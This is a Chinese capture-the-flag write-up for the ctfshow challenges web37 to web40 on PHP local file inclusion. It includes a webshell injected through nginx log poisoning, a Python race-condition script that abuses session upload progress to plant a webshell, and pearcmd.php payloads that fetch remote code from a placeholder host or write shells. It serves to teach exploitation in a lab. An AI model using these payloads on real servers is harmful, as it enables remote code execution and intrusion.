web37-40
in wr1teup with 1 comment
web37-40
in wr1teup with 1 comment

web37

开启环境后
2024-07-13T03:15:09.png
尝试读取文件,先跳转出设定的路径
2024-07-13T03:16:54.png
linux的目录位置是默认的,我们继续访问

/?file=../../../../../../var/log/nginx/access.log

2024-07-13T03:18:32.png
于是我们接下来把一句话木马写到我们的日志里面,不能写错,写错就错误了

<?php eval($_POST[1]);?>

2024-07-13T03:22:19.png
如此发包,注入我们的一句话木马,木马注入成功
2024-07-13T03:25:13.png
如此进行命令控制,phpinfo()用于更好找到回显
2024-07-13T03:26:25.png
成功找到flag
2024-07-13T03:27:46.png

flag{2075548a-51f9-4948-84c8-8c28ec281fcf}

web38

开启环境,根据提示找到phpinfo界面
2024-07-13T03:52:38.png
2024-07-13T03:53:49.png
phpinfo_lfi题,借用攻击脚本
2024-07-13T03:57:24.png

web39

开启环境
2024-07-13T04:58:43.png
构造发包代码

<form action="http://b1feaf01-5a39-4745-9cdf-728b6262aa81.challenges.ctfer.com:8080/" method="post" enctype="multipart/form-data">
<input name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>

进行发包
2024-07-13T05:00:11.png
通过脚本得到

import requests
import threading

session = requests.Session()

sess="ctfshow"

file_name="/usr/www/html/1.php"
file_content="<?php eval($_POST[1]);?>"


url="http://b4f88d05-d39e-475d-be77-7370e1adf2de.challenges.ctfer.com:8080/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS":"<?php echo 'success';         file_put_contents('[file_name]', '[file_content]');?>"
}

file = {
"file": 'ctfshow'
}

cookie = {
"PHPSESSID":sess
}

def write():
    while True:
        session.post(url, data=data, files=file, cookies=cookie)

def read():
while True:
    r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
    if "success" in r.text:
        print('shell =  '+url+'/1.php')
        exit()

threads = [threading.Thread(target=write), threading.Thread(target=read)]


for t in threads:
    t.start()

2024-07-13T05:21:13.png
2024-07-25T08:14:21.png
成功RCE
2024-07-25T08:15:36.png
2024-07-25T08:16:22.png
拿到flag

flag{051c4952-321c-4319-bc35-709037db99a0}

web40

开启环境
file一个值,得到
2024-07-25T08:44:17.png
方法一:进行远程文件下载

/?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+R+/var/www/html/+http://your-shell.com/1.php

2024-07-13T06:04:27.png
下载成功,到了/tmp/pear/download/1.php
2024-07-13T06:08:28.png
2024-07-13T06:11:57.png
未解决

方法二:用创建配置文件来做

/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctfshow.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+

2024-07-13T06:16:36.png
被解析掉了,需要我们再进行操作
2024-07-13T06:19:17.png
2024-07-13T06:21:31.png
2024-07-13T06:27:35.png

换一种方法
成功远程命令执行

GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+ 

2024-07-13T06:28:11.png
方法三 写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php 

The article has been posted for too long and comments have been automatically closed.
  1. [...]123.jpg 非php后缀,那么由自己来处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,告诉其我返回的文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来日志中User-Agent是一个注入点例题web37日志包含前提条件有文件后缀可控的文件包含点有可以访问到的日志路径 默认nginx的日志路径伟 /var/log/nginx/a[...]